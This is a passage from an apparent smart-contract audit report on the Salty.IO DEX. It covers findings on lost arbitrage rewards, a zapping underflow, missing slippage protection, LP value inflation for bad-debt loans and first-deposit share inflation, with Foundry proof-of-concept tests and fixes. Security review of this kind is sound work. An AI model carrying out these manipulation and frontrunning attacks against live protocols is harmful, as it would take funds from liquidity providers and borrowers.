1065 | 10340984124965181677823 | 736893384459221074576806
1080 | 10339906939118831138064 | 747233291398339905714870
1095 | 10338829865479339593154 | 757572121263819245308024
1110 | 10337752904035018828613 | 767909874167854264136637
1125 | 10336676054774181847485 | 778246550222628445984122
1140 | 10335599317685142870209 | 788582149540313588854331
1155 | 10334522692756217334494 | 798916672233069806188825
1170 | 10333446179975721895188 | 809250118413045528084013
1185 | 10332369779331974424157 | 819582488192377502508170
1200 | 10331293490813294010155 | 829913781683190796518325
1215 | 10330217314408000958696 | 840243998997598797477021
1230 | 10329141250104416791929 | 850573140247703214268950
1245 | 10328065297890864248513 | 860901205545594078517463
1260 | 10326989457755667283487 | 871228195003349745800950
1275 | 10325913729687151068145 | 881554108733036896869095
1290 | 10324838113673641989909 | 891878946846710538859004
1305 | 10323762609703467652202 | 902202709456414006511206
1320 | 10322687217764956874321 | 912525396674178963385527
1335 | 10321611937846439691314 | 922847008612025403076841
1350 | 10320536769936247353846 | 933167545381961650430687
1365 | 10319461714022712328080 | 943487007095984362758767
1380 | 10318386770094168295545 | 953805393866078531054312
1395 | 10317311938138950153015 | 964122705804217481207327
1410 | 10316237218145394012374 | 974438943022362875219701
1425 | 10315162610101837200497 | 984754105632464712420198
1440 | 10314088113996618259122 | 995068193746461330679320
Error: 1% per day not adhered to
Error: a == b not satisfied [uint]
Left: 99004931806253538669320680
Right: 99000000000000000000000000
Tools Used
Foundry
Recommended Mitigation Steps
Store the eligible pool reward & the already paid out reward in separate variables and compare them to make sure extra rewards are not being paid out to a pool.
Irrespective of the performUpkeep()
calling frequency, at the end of the day, 1% should be disbursed.
Picodes (Judge) decreased severity to Medium and commented:
Medium severity seems more appropriate considering this only concerns rewards and is subject to external conditions.
othernet-global (Salty.IO) acknowledged
[M-24] Salt Rewards - Rewards related to Arbitrage profits for pools can be lost
Submitted by zzebra83
Arbitrage profits are distributed to pools that played a part in generating them. This is distributed via calling the performUpkeep function with upkeep.sol.
The process of upkeep is multi step, and any failure in any step does not disable next steps to trigger because each step is wrapped in a try catch. lets delve into steps 5 and 7.
// 5. Convert remaining WETH to SALT and sends it to SaltRewards.
function step5() public onlySameContract
{
uint256 wethBalance = weth.balanceOf( address(this) );
if ( wethBalance == 0 )
return;
// Convert remaining WETH to SALT and send it to SaltRewards
// @audit arbitrage profits sent to saltrewards here, pools contract
// has allowance to withdrawm unlimited WETH from the upkeep contract
// but this swap operation can fail, if arbitrage profits are too large
// and not enough reserves of salt are there
uint256 amountSALT = pools.depositSwapWithdraw( weth, salt, wethBalance, 0, block.timestamp );
salt.safeTransfer(address(saltRewards), amountSALT);
}
step 5 converts the arbitrage profits from WETH to Salt. Next, after which they are distributed to SaltRewards contract. If the operation to swap WETH to Salt fails due to reserves going below dust for example, then no Salt will be transferred to the salt rewards contract. this will impact step 7.
// 7. Distribute SALT from SaltRewards to the stakingRewardsEmitter and liquidityRewardsEmitter.
function step7() public onlySameContract
{
// @audit line below can return a list with arbitrage profits assigned for a pool
uint256[] memory profitsForPools = pools.profitsForWhitelistedPools();
bytes32[] memory poolIDs = poolsConfig.whitelistedPools();
// @audit if more than 1 week passed, less rewards passed to the emitters in step 8.
saltRewards.performUpkeep(poolIDs, profitsForPools );
// @audit can arbitrage profits be cleared without distributing?
pools.clearProfitsForPools();
}
Step 6 will distribute the salt emissions to the saltrewards contract. so the saltrewards contract will have only salt related to emissions but not arbitrage profits.
Step 7 will distribute all salt rewards(including those arbitrage profits in Salt to all the pools) via calling performUpkeep function in salt rewards contrat, but this assumes the SaltRewards contract will have a salt balance containing the arbitrage profits (from step 5), which might not be the case.
uint256 saltRewardsToDistribute = salt.balanceOf(address(this));
if ( saltRewardsToDistribute == 0 ){ // @audit function simply returns, this could be problematic
return;
}
// Determine the total profits so we can calculate proportional share for the liquidity rewards
uint256 totalProfits = 0;
for( uint256 i = 0; i < poolIDs.length; i++ ) {
totalProfits += profitsForPools[i];
}
// Make sure that there are some profits to determine the proportional liquidity rewards.
// Otherwise just handle the SALT balance later so it can be divided between stakingRewardsEmitter and liquidityRewardsEmitter without further accounting.
if ( totalProfits == 0 ) {
return;
}
// Determine how much of the SALT rewards will be directly awarded to the SALT/USDS pool.
// This is because SALT/USDS is important, but not included in other arbitrage trades - which would normally yield additional rewards for the pool by being part of arbitrage swaps.
uint256 directRewardsForSaltUSDS = ( saltRewardsToDistribute * rewardsConfig.percentRewardsSaltUSDS() ) / 100;
uint256 remainingRewards = saltRewardsToDistribute - directRewardsForSaltUSDS;
// Divide up the remaining rewards between SALT stakers and liquidity providers
uint256 stakingRewardsAmount = ( remainingRewards * rewardsConfig.stakingRewardsPercent() ) / 100;
uint256 liquidityRewardsAmount = remainingRewards - stakingRewardsAmount;
_sendStakingRewards(stakingRewardsAmount);
_sendLiquidityRewards(liquidityRewardsAmount, directRewardsForSaltUSDS, poolIDs, profitsForPools, totalProfits); // @audit salt rewards for liquidity will not include amounts related to pool arbitrate profits
As you can see above, the performupkeep checks the contracts salt balance and based off that the liquidity rewards amounts are determined. but given that actual balance does not include those profits, these figures will be inaccurate.
It would then return back to step 7 and ‘Clear’ the profits assigned to each pool via calling pools.clearProfitsForPools().
This essentially means that profits assigned to pools are cleared from storage without actually being distributed fairly as Salt rewards to pool liquidity providers.
The likelihood of this bug occuring is low to medium, because it is dependant on failure in the WETH to Salt swap in step 5 which might occur if the pool was maliciously targeted or in extreme market conditions and volatility. However the impact is medium to high since pool liquidity providers will most certainly lose out on arbitrage profits(dependant the frequency of calling upkeep and trading dynamics, this could potentially be a large arbitrage profit), so given the potential for lost rewards, a rating of atleast high here is appropriate.
Proof of Concept
The POC below succesfully simulates this situation, by making sure the attempt to swap WETH to Salt in step 5 fails. this is done by manipulating pool reserve amounts. There are two versions, one with call to step 6 and one without.The one without the call to step6 more clearly displays the ‘loss’ in rewards.
function testSuccessStep5NoStep6() public
{
_setupLiquidity();
vm.warp( block.timestamp + 1 days );
_generateArbitrageProfits(true);
// stakingRewardsEmitter and liquidityRewardsEmitter have initial bootstrapping rewards
bytes32[] memory poolIDsB = new bytes32[](1);
poolIDsB[0] = PoolUtils._poolID(salt, usds);
uint256 initialRewardsB = liquidityRewardsEmitter.pendingRewardsForPools(poolIDsB)[0];
bool errorRaised = false;
//Mimic depositing arbitrage profits.
vm.prank(DEPLOYER);
weth.transfer(address(dao), 700 ether);
vm.startPrank(address(dao));
weth.approve(address(pools), 700 ether );
pools.deposit( weth, 700 ether);
vm.stopPrank();
assertEq( salt.balanceOf(address(saltRewards)), 0 );
vm.startPrank(address(upkeep));
ITestUpkeep(address(upkeep)).step2(alice);
ITestUpkeep(address(upkeep)).step3();
ITestUpkeep(address(upkeep)).step4();
try ITestUpkeep(address(upkeep)).step5() {}
catch (bytes memory error) {errorRaised = true; }
assertEq( errorRaised, true ); // proves that the swap from WETH to Salt in step 5 failed
// No SALT was sent to SaltRewards, because swap from WETH to SALT failed due to low reserves.
// which means arbitrage profits reward wont be sent to pools
assertEq( salt.balanceOf(address(saltRewards)), 0);
// Check that the rewards were recorded in storage
bool poolsHaveProfit = false;
uint256[] memory profitsForPools = IPoolStats(address(pools)).profitsForWhitelistedPools();
for( uint256 i = 0; i < profitsForPools.length; i++ ) {
console.log("pool profit for pool before:", i);
console.log(profitsForPools[i]);
if (profitsForPools[i] > 0){
poolsHaveProfit = true;
}
}
assertEq( poolsHaveProfit, true );
ITestUpkeep(address(upkeep)).step7();
bool poolsDontHaveProfit = false;
// Check that the rewards for pools no longer recorded in storage
uint256[] memory profitsForPools2 = IPoolStats(address(pools)).profitsForWhitelistedPools();
for( uint256 i = 0; i < profitsForPools2.length; i++ ) {
console.log("pool profit for pool:", i);
console.log(profitsForPools2[i]);
if (profitsForPools2[i] > 0){
poolsDontHaveProfit = true;
}
}
// test proves that in the case a pool doesnt have enough reserve to swap the arbitrage profits to SALT, the upkeep sequence
// can lead to arbitrage profits being cleared from storage, effectively meaning they can not be distributed
// to anyone, hence lost funds. ie the pools that have taken part in generating recent arbitrage profits so that those pools
// will be unable to can receive proportional pending rewards on the next call to performUpkeep(), because their record has been cleared from storage.
assertEq( poolsDontHaveProfit, false );
bytes32[] memory poolIDs = new bytes32[](4);
poolIDs[0] = PoolUtils._poolID(salt,weth);
poolIDs[1] = PoolUtils._poolID(salt,wbtc);
poolIDs[2] = PoolUtils._poolID(wbtc,weth);
poolIDs[3] = PoolUtils._poolID(salt,usds);
// Check that rewards were not sentto the three pools involved in generating the test arbitrage
assertEq( liquidityRewardsEmitter.pendingRewardsForPools(poolIDs)[0], initialRewardsB );
assertEq( liquidityRewardsEmitter.pendingRewardsForPools(poolIDs)[1], initialRewardsB );
assertEq( liquidityRewardsEmitter.pendingRewardsForPools(poolIDs)[2], initialRewardsB );
vm.stopPrank();
}
function testSuccessStep5Withstep6() public
{
_setupLiquidity();
vm.warp( block.timestamp + 1 days );
_generateArbitrageProfits(true);
// stakingRewardsEmitter and liquidityRewardsEmitter have initial bootstrapping rewards
bytes32[] memory poolIDsB = new bytes32[](1);
poolIDsB[0] = PoolUtils._poolID(salt, usds);
uint256 initialRewardsB = liquidityRewardsEmitter.pendingRewardsForPools(poolIDsB)[0];
bool errorRaised = false;
//Mimic depositing arbitrage profits.
vm.prank(DEPLOYER);
weth.transfer(address(dao), 700 ether);
vm.startPrank(address(dao));
weth.approve(address(pools), 700 ether );
pools.deposit( weth, 700 ether);
vm.stopPrank();
assertEq( salt.balanceOf(address(saltRewards)), 0 );
vm.startPrank(address(upkeep));
ITestUpkeep(address(upkeep)).step2(alice);
ITestUpkeep(address(upkeep)).step3();
ITestUpkeep(address(upkeep)).step4();
try ITestUpkeep(address(upkeep)).step5() {}
catch (bytes memory error) {errorRaised = true; }
assertEq( errorRaised, true ); // proves that the swap from WETH to Salt in step 5 failed
// No SALT was sent to SaltRewards, because swap from WETH to SALT failed due to low reserves.
// which means salt rewards related to arbitrage profits reward wont be sent to pools
assertEq( salt.balanceOf(address(saltRewards)), 0);
// Check that the rewards were recorded in storage
bool poolsHaveProfit = false;
uint256[] memory profitsForPools = IPoolStats(address(pools)).profitsForWhitelistedPools();
for( uint256 i = 0; i < profitsForPools.length; i++ ) {
console.log("pool profit for pool before:", i);
console.log(profitsForPools[i]);
if (profitsForPools[i] > 0){
poolsHaveProfit = true;
}
}
assertEq( poolsHaveProfit, true );
ITestUpkeep(address(upkeep)).step6();
ITestUpkeep(address(upkeep)).step7();
bool poolsDontHaveProfit = false;
// Check that the rewards for pools no longer recorded in storage
uint256[] memory profitsForPools2 = IPoolStats(address(pools)).profitsForWhitelistedPools();
for( uint256 i = 0; i < profitsForPools2.length; i++ ) {
console.log("pool profit for pool:", i);
console.log(profitsForPools2[i]);
if (profitsForPools2[i] > 0){
poolsDontHaveProfit = true;
}
}
// test proves that in the case a pool doesnt have enough reserve to swap the arbitrage profits to SALT, the upkeep sequence
// can lead to arbitrage profits being cleared from storage, effectively meaning they can not be distributed
// to anyone, hence lost funds. ie the pools that have taken part in generating recent arbitrage profits so that those pools
// will be unable to can receive proportional pending rewards on the next call to performUpkeep(), because their record has been cleared from storage.
assertEq( poolsDontHaveProfit, false );
vm.stopPrank();
}
function _setupLiquidity() internal
{
vm.prank(address(collateralAndLiquidity));
usds.mintTo(DEPLOYER, 100000 ether );
vm.prank(address(teamVestingWallet));
salt.transfer(DEPLOYER, 100000 ether );
vm.startPrank(DEPLOYER);
weth.approve( address(collateralAndLiquidity), 300000 ether);
usds.approve( address(collateralAndLiquidity), 100000 ether);
dai.approve( address(collateralAndLiquidity), 100000 ether);
salt.approve( address(collateralAndLiquidity), 100000 ether);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, usds, 100000 ether, 100000 ether, 0, block.timestamp, false);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 100000 ether, 100000 ether, 0, block.timestamp, false);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, salt, 100000000000 wei, 100000000000 wei, 0, block.timestamp, false);
vm.stopPrank();
}
function _generateArbitrageProfits( bool despositSaltUSDS ) internal
{
/// Pull some SALT from the daoVestingWallet
vm.prank(address(daoVestingWallet));
salt.transfer(DEPLOYER, 100000 ether);
// Mint some USDS
vm.prank(address(collateralAndLiquidity));
usds.mintTo(DEPLOYER, 1000 ether);
vm.startPrank(DEPLOYER);
salt.approve(address(collateralAndLiquidity), type(uint256).max);
wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
weth.approve(address(collateralAndLiquidity), type(uint256).max);
wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
weth.approve(address(collateralAndLiquidity), type(uint256).max);
if ( despositSaltUSDS )
//collateralAndLiquidity.depositLiquidityAndIncreaseShare( salt, weth, 1000 ether, 1000 ether, 0, block.timestamp, false );
collateralAndLiquidity.depositLiquidityAndIncreaseShare( salt, weth, 100000000000 wei, 100000000000 wei, 0, block.timestamp, false );
collateralAndLiquidity.depositLiquidityAndIncreaseShare( wbtc, salt, 1000 * 10**8, 1000 ether, 0, block.timestamp, false );
collateralAndLiquidity.depositCollateralAndIncreaseShare( 1000 * 10**8, 1000 ether, 0, block.timestamp, false );
salt.approve(address(pools), type(uint256).max);
wbtc.approve(address(pools), type(uint256).max);
weth.approve(address(pools), type(uint256).max);
vm.stopPrank();
// Place some sample trades to create arbitrage profits
_swapToGenerateProfits();
}
Recommended Mitigation Steps
Given the interdependencies between step 5 and step 7, a failure in step 5 due to a failed swap implies that step 7 should also not proceed because its calculations are dependent on the success of step 5. Appropriate logic should be added to handle this.
othernet-global (Salty.IO) disputed and commented:
It is acceptable for step 7 to not distribute rewards if step 5 has not functioned correctly. Assuming step 5 functions correctly later, then step 7 will function correctly later as well.
It seems to me that rewards are just delayed here as the step 5 uses the contract’s balance so there is no issue.
genesiscrew (Warden) commented:
There is no guarantee that the rewards that were delayed will be later distributed fairly to the pools that generated them. This is due to the fact that in the case of distribution failure, profits assigned to pools are cleared from storage as is shown in the POC.
Imagine pool A accumulated most of the rewards in interval 1, reward distribution fails, in interval two pool B accumulated most of the rewards, they will be rewarded more than they should be because the balance will include rewards from interval 1 and interval 2.
The line above shows how rewards are distributed for each pool. in this formula profitsForPools[i] and totalProfits will not factor in delayed rewards. while liquidityRewardsAmount will because its based off contract balance. so this means pool B in interval 2 will be effectively earning more rewards than it should, hence lost rewards for pool A.
Thanks @genesiscrew. On second read it seems you are right. We could imagine a scenario where an attacker forces step 5 to fail to clear the storage and then distribute profits to a pool he is in. But the scenario wouldn’t be simple because you need to take into account the fact that automatic arbitrages increases the cost of manipulating pool reserves.
[M-25] Incorrect assumption in PoolMath.sol can cause underflow when zapping is used
Submitted by t0x1c, also found by Draiakoo and AgileJune
_zapSwapAmount() assumes that:
191: // r1 * z0 guaranteed to be greater than r0 * z1 per the conditional check in _determineZapSwapAmount
192: uint256 C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 );
The protocol’s assumption of r1 * z0 guaranteed to be greater than r0 * z1
is based on the following check in _determineZapSwapAmount():
214: // zapAmountA / zapAmountB exceeds the ratio of reserveA / reserveB? - meaning too much zapAmountA
215: if ( zapAmountA * reserveB > reserveA * zapAmountB )
216: (swapAmountA, swapAmountB) = (_zapSwapAmount( reserveA, reserveB, zapAmountA, zapAmountB ), 0);
217:
218: // zapAmountA / zapAmountB is less than the ratio of reserveA / reserveB? - meaning too much zapAmountB
219: if ( zapAmountA * reserveB < reserveA * zapAmountB )
220: (swapAmountA, swapAmountB) = (0, _zapSwapAmount( reserveB, reserveA, zapAmountB, zapAmountA ));
The assumption would had been true for all cases if not for this piece of logic inside _zapSwapAmount()#L158-L168 which right shifts the arguments if the maximumMSB
is greater than 80:
// Assumes the largest number has more than 80 bits - but if not then shifts zero effectively as a straight assignment.
// C will be calculated as: C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 );
// Multiplying three 80 bit numbers will yield 240 bits - within the 256 bit limit.
if ( maximumMSB > 80 )
shift = maximumMSB - 80;
// Normalize the inputs to 80 bits.
uint256 r0 = reserve0 >> shift;
uint256 r1 = reserve1 >> shift;
uint256 z0 = zapAmount0 >> shift;
uint256 z1 = zapAmount1 >> shift;
This can lead to z0
being reduced to 0
and hence causing underflow on L192.
Since _determineZapSwapAmount()
is internally called whenever depositLiquidityAndIncreaseShare()
is called with useZapping = true
, it will cause a revert when a situation like the following exists:
uint256 reserveA = 1500000000;
uint256 reserveB = 2000000000 ether;
uint256 zapAmountA = 150;
uint256 zapAmountB = 100 ether;
maximumMSB
in this case is 90
(for reserveB
) and also an excess of zapAmountA
is being provided as compared to the existing reserve ratio. Hence, right shift by 90 - 80 = 10
bits will occur resulting z0
to be 0
.
Proof of Concept
Create a new file src/stable/tests/BugPoolMath.t.sol
and add the following code. Run it via forge test -vv --mt test_poolMath
to see the test revert:
// SPDX-License-Identifier: Unlicensed
pragma solidity =0.8.22;
import "../../pools/PoolMath.sol";
import { console, Test } from "forge-std/Test.sol";
contract BugPoolMath is Test
{
function test_poolMath() public view {
uint256 reserveA = 1500000000;
uint256 reserveB = 2000000000 ether;
uint256 zapAmountA = 150;
uint256 zapAmountB = 100 ether;
(uint256 swapAmountA, uint256 swapAmountB) = PoolMath._determineZapSwapAmount(reserveA, reserveB, zapAmountA, zapAmountB);
console.log("swapAmountA = %s, swapAmountB = %s", swapAmountA, swapAmountB);
}
}
Tools used
Foundry
Recommended Mitigation Steps
Make sure to check the assertion again:
function _zapSwapAmount( uint256 reserve0, uint256 reserve1, uint256 zapAmount0, uint256 zapAmount1 ) internal pure returns (uint256 swapAmount)
{
uint256 maximumMSB = _maximumMSB( reserve0, reserve1, zapAmount0, zapAmount1);
uint256 shift = 0;
// Assumes the largest number has more than 80 bits - but if not then shifts zero effectively as a straight assignment.
// C will be calculated as: C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 );
// Multiplying three 80 bit numbers will yield 240 bits - within the 256 bit limit.
if ( maximumMSB > 80 )
shift = maximumMSB - 80;
// Normalize the inputs to 80 bits.
uint256 r0 = reserve0 >> shift;
uint256 r1 = reserve1 >> shift;
uint256 z0 = zapAmount0 >> shift;
uint256 z1 = zapAmount1 >> shift;
// In order to swap and zap, require that the reduced precision reserves and one of the zapAmounts exceed DUST.
// Otherwise their value was too small and was crushed by the above precision reduction and we should just return swapAmounts of zero so that default addLiquidity will be attempted without a preceding swap.
if ( r0 < PoolUtils.DUST)
return 0;
if ( r1 < PoolUtils.DUST)
return 0;
if ( z0 < PoolUtils.DUST)
if ( z1 < PoolUtils.DUST)
return 0;
// Components of the quadratic formula mentioned in the initial comment block: x = [-B + sqrt(B^2 - 4AC)] / 2A
uint256 A = 1;
uint256 B = 2 * r0;
// Here for reference
// uint256 C = r0 * ( r0 * z1 - r1 * z0 ) / ( r1 + z1 );
// uint256 discriminant = B * B - 4 * A * C;
- // Negate C (from above) and add instead of subtract.
- // r1 * z0 guaranteed to be greater than r0 * z1 per the conditional check in _determineZapSwapAmount
- uint256 C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 );
- uint256 discriminant = B * B + 4 * A * C;
+ uint256 C;
+ uint256 discriminant;
+ if ((r1 * z0) >= (r0 * z1)) {
+ C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 );
+ discriminant = B * B + 4 * A * C;
+ } else {
+ C = r0 * ( r0 * z1 - r1 * z0 ) / ( r1 + z1 );
+ discriminant = B * B - 4 * A * C;
+ }
// Compute the square root of the discriminant.
uint256 sqrtDiscriminant = Math.sqrt(discriminant);
// Safety check: make sure B is not greater than sqrtDiscriminant
if ( B > sqrtDiscriminant )
return 0;
// Only use the positive sqrt of the discriminant from: x = (-B +/- sqrtDiscriminant) / 2A
swapAmount = ( sqrtDiscriminant - B ) / ( 2 * A );
// Denormalize from the 80 bit representation
swapAmount <<= shift;
}
othernet-global (Salty.IO) confirmed and commented:
Zapping no longer uses scaling:
https://github.com/othernet-global/salty-io/commit/44320a8cc9b94de433e437e025f072aa850b995a
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and t0x1c.
[M-26] formPOL lacks slippage and deadline protection
Submitted by Banditx0x, also found by Hajime, oakcobalt, 0xGreyWolf, Tripathi, PENGUN, Krace, 00xSEV (1, 2), 0xmuxyz, b0g0 (1, 2), Jorgect, Kaysoft, and djxploit
formPOL can be vulnerable to a well known liquidity deposit sandwich attack causing loss of funds for the protocol.
Proof of Concept
In formPOL
, there are no slippage parameters when calling depositLiquidityAndIncreaseShare
All liquidity deposits in a Uniswap v2 style pool can be frontrun by this sequence of steps:
- attacker pushes pool away from correct ratio
- victims liquidity deposit goes through at wrong ratio
- attacker sells tokens into the new liquidity for a profit
Liquidity withdrawals in a x * y = k
pool are actually rarely profitable to frontrun attack (it requires certain edge cases), as the same sequence actually loses money if it is a liquidity withdrawals, which is why withdrawPOL
wasn’t explicitly mentioned. However, this issue also applies to withdrawPOL
and adding slippage protection in that function could be an extra safety measure.
Recommended Mitigation Steps
formPOL
should have some form of slippage protection. This could be based off a maximum deviation off some other price feed such a Uniswap v3 TWAP or Chainlink pricefeed. If the pool reserves deviates too much from the expected ratio from the price feed, formPOL
should revert.
othernet-global (Salty.IO) acknowledged and commented:
The automatic arbitrage on the DEX provides some built in protection against front running as the attacker is not able to move in and out without experiencing friction from the arbitrage itself.
Simulations (see Sandwich.t.sol) show that when sandwich attacks are used on Salty, the arbitrage earned by the protocol sometimes exceeds any amount lost due to the sandwich attack itself. The actual swap loss (taking arbitrage profits generated by the sandwich swaps into account) is dependent on the multiple pool reserves involved in the arbitrage (which are encouraged by rewards distribution to create more reasonable arbitrage opportunities).
Picodes (Judge) decreased severity to Medium and commented:
Regrouping issues about missing slippage checks here as the root cause is the same - the assumption that AAA is enough to prevent MEV bots from sandwiching maintenance transactions doesn’t always hold.
othernet-global (Salty.IO) commented:
POL has been removed from the protocol:
eaf40ef0fa27314c6e674db6830990df68e5d70e https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[M-27] Attacker Can Inflate LP Position Value To Create a Bad Debt Loan
Submitted by Banditx0x, also found by Arz, Infect3d, Toshii, Kalyan-Singh, jasonxiale, israeladelaja, PENGUN, a3yip6, linmiaomiao, and zhaojohnson
An attacker can inflate the value of liquidity through reserve ratio manipulation (even without manipulating the aggregated oracle) and take out a undercollateralized USDS loan.
Proof of Concept
The value of a liquidity position in Salty is determined by:
- Checking the reserves of the pool/liquidity position (easy to manipulate)
- Valuing the tokens that comprise the liquidity position using an aggregated oracle (difficult to manipulate)
The only invariant enforced by the Uniswap v2 style AMM is $x \* y = k$. When the ratio of the tokens deviates from the “correct” ratio (where the ratio corresponds exactly to the correct value of the tokens), the liquidity will always be worth more , as calculated by the USD value of the individual tokens. There is the well known frontrunning attack on liquidity deposits which works based on this fact.
Mathematical Example
Let’s go through a simple example. The pool is USDT-DAI, which is selected for simplicity as they are both tokens with 18 decimals and the oracle always returns a value of $1 for both tokens.
Currently there is 1e18 tokens in each pool, and let’s say that the constant k
is 1e36
Invariant formula: $x \* y = k$
$$ x = 1e18\\ y = 1e18\\ k = 1e36\\ $$Let’s do a swap which doubles the x
variable and recalculate the corresponding y value:
Now if we apply the correct oracle price of the tokens, which is $1
per 1e18 wei, the value of the LP position is now worth (0.5 + 2) = $2.5
, which is more , than the correct value of $2
.
An intuitive explanation of value inflation
We know that large trades that push the reserve ratio away from the correct ratio loses money for traders (this money is gained by LP’s). Trades that move the reserves towards the correct ratio gain money for traders (denominated by the “real value” of the tokens). This is the basis for AMM arbitrage and slippage attacks.
Pushing the price far from the correct reserve ratio can thus be seen as a temporary inflation of the price of the LP token when the token reserves are valued by their USD denominated price. This inflation comes from the manipulating trader losing a large amount of USD-denominated value.
Using this intuitive analogy, we can see why it’s only possible to inflate the LP price and not deflate it. Pushing the reserve ratio towards the correct ratio is the method of deflating the USD-denominated value, however, the non-manipulated value should always approximately match the correct price, so it is not possible!
Escalating to an Attack
The LP token is used as collateral to borrow USDS, so we can inflate the LP price to borrow more than the liquidity position’s real worth. The attacker can then dump the USDS and the whole USDS stablecoin will be undercollateralized and collapse.
Does Automated Arbitrage Prevent Pool Manipulation?
There is potential difficulty in manipulating the Salty pool due to the automated arbitrage. If there is enough liquidity in the pools in the arbitragePath
, then the protocol will swap WETH to more WETH through the path which will rebalance the pool.
Note that this requires “enough liquidity” in the pool path. One could simply deposit a large amount liquidity in the pool being manipulated such that it holds far more token value than the other pools. Therefore, the WETH arbitrage will leave the pools imbalanced due to causing alot of price slippage in the smaller pools to create only a small price correction in the large pool.
Note that the potential profit of the attacker, which is to borrow all the USDS available at a massively discounted rate, is huge. Therefore the loss of losing to the WETH arbitrage would be negligible compared to how much they gain.
Recommended Mitigation Steps
Valuing LP positions is tricky. Salty’s current method is to “trust” the untrustworthy pool reserves. Instead, you could value the liquidity as if the ratio was at the correct ratio, rather than the current pool ratio. Here is an example of a protocol implementing this solution for Uniswap v3 positions:
https://github.com/arcadia-finance/accounts-v2/blob/main/src/asset-modules/UniswapV3/UniswapV3AM.sol
othernet-global (Salty.IO) confirmed, but disagreed with severity and commented:
USDS has been removed from the exchange.
https://github.com/othernet-global/salty-io/commit/f3ff64a21449feb60a60c0d60721cfe2c24151c1
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Picodes (Judge) decreased severity to Medium and commented:
As shown by the report above, this attack seems valid but if arbitrage paths are properly configured the cost of attack is greater than usual. You’d need to either increase the size of the pool or manipulate the price of all the pools in the arbitrage paths at once to prevent arbitrages from happening. As it’s still possible, the correct severity seems to be Medium under ” leak value with a hypothetical attack path with stated assumptions, but external requirements.”, the external requirements being that the cost of attack is smaller than the value extractable by borrowing USDS.
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and t0x1c.
[M-28] MinShares Slippage Parameters Are Ineffective For Initial Deposit
Submitted by Banditx0x, also found by 0xMango and jasonxiale
The first depositor in the AMM can lose the majority of their tokens to a frontrunning attack even if they set the correct minShares slippage parameters.
Proof of Concept
Summary:
By using $x + y$ instead of $sqrt(x \* y)$ as the formula for determining the initial liquidity shares, minshares is no longer a effective slippage parameter for the first deposit as front running can change the shares minted even when the token ratio is the same.
Explanation:
Salty is a Uniswap style pool which maintains an $x \* y = k$ invaraint. However, the equation determining the initial liquidity amount is different from Uniswap v2
Here is Uniswap’s:
$$ L = sqrt(x \* y) $$Here is Salty’s (implemented in the _addLiquidity
function):
Here is a quote from Uniswap’s whitepaper:
“Uniswap v2 initially mints shares equal to the geometric mean of the amounts, liquidity = sqrt(xy). This formula ensures that the value of a liquidity pool share at any time is essentially independent of the ratio at which liquidity was initially deposited… The above formula ensures that a liquidity pool share will never be worth less than the geometric mean of the reserves in that pool.”
Uniswap’s liquidity formula is path-independent. As long as we know the x
and y
values in a deposit, we know that the liquidity will conform to the $L = sqrt(x \* y)$ formula.
Salty’s formula is not path independent. The number of shares minted for a token deposit is affected by the initial liquidity deposit.
This is the basis for this attack.
The only slippage parameter used for depositing into the AMM is minShares
. However, during the first deposit, an attacker can exploit the difference in the initial deposit liquidity equation $x + y$ and the invariant $x \* y$ to inflate the number of shares minted per token, and then use the inflated shares to set the AMM at an incorrect reserve ratio such that it can be arbitraged.
First let’s examine a base case, where a user makes an initial deposit with correct minShares
parameters:
User deposits 10000 DAI and 10000 USDT at a 1-1 reserve ratio. This is correct as they are both tokens with 18 decimals and value of $1
.
Let’s calculate the minShares slippage parameters they should set. During the first deposit they are depositing 10000 * 1e18 wei of each token, so 1e22 wei. Liquidity minted is the sum of the 2 amounts (1e22 + 1e22). So liquidity minted = 2e22
Now let’s examine how a frontrunner can inflate the shares so that the slippage parameter is no longer effective.
Frontrunning Case, Step by step:
- Attacker deposits at very imbalanced token ratios, eg 1e2 USDT and 1e18 DAI. This is to make the (x + y) result, or the liquidity shares, inflated relative to the correct deposit ratio.
- This sets
x * y = 1e20
- So now we manipulate the x * y back to be equal
- x = 1e10 and y = 1e10
- 1e18 shares represents only 1e10 and 1e10 tokens
- If the user deposits now, they get far more shares. So the user gets 1e8 (10 million) times more shares per wei of token deposited.
- Depositing 1e22 of each token now yields
1e30
shares! In the example without frontrunning, they only minted1e22
shares - The example so far involves manipulating the AMM back to the “correct” reserve ratio to mint >1 million times more shares. However, this won’t make any profit to the attacker yet. The attacker can use the “extra shares” to make the victims transaction go through even if they set “correct” minShares parameters based on the non-frontrunned case. So therefore, they manipulate the exchange-rate where 1 DAI = 5 USDT, and then even though less shares are minted, the extra shares minted from the attacker’s share inflation ensures the shares minted does not drop below the
minShares
parameter.
Recommended Mitigation Steps
Consider using minAmount0
and minAmount1
deposited into the AMM. This is how Uniswap V3 implements their slippage parameters.
Alternatively, using the same liquidity formula as Uniswap v2 - $L = sqrt(x \* y)$ will prevent this attack.
othernet-global (Salty.IO) confirmed and commented:
minAddedAmountA and minAddedAmountB are now used.
Fixed in: https://github.com/othernet-global/salty-io/commit/0bb763cc67e6a30a97d8b157f7e5954692b3dd68
Picodes (Judge) decreased severity to Medium
Note: For full discussion, see here.
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[M-29] Incorrect calculation to check remaining ratio after reward in StableConfig.sol
Submitted by t0x1c, also found by 0xpiken, klau5, and haxatron
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/StableConfig.sol#L51-L54
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/StableConfig.sol#L127-L130
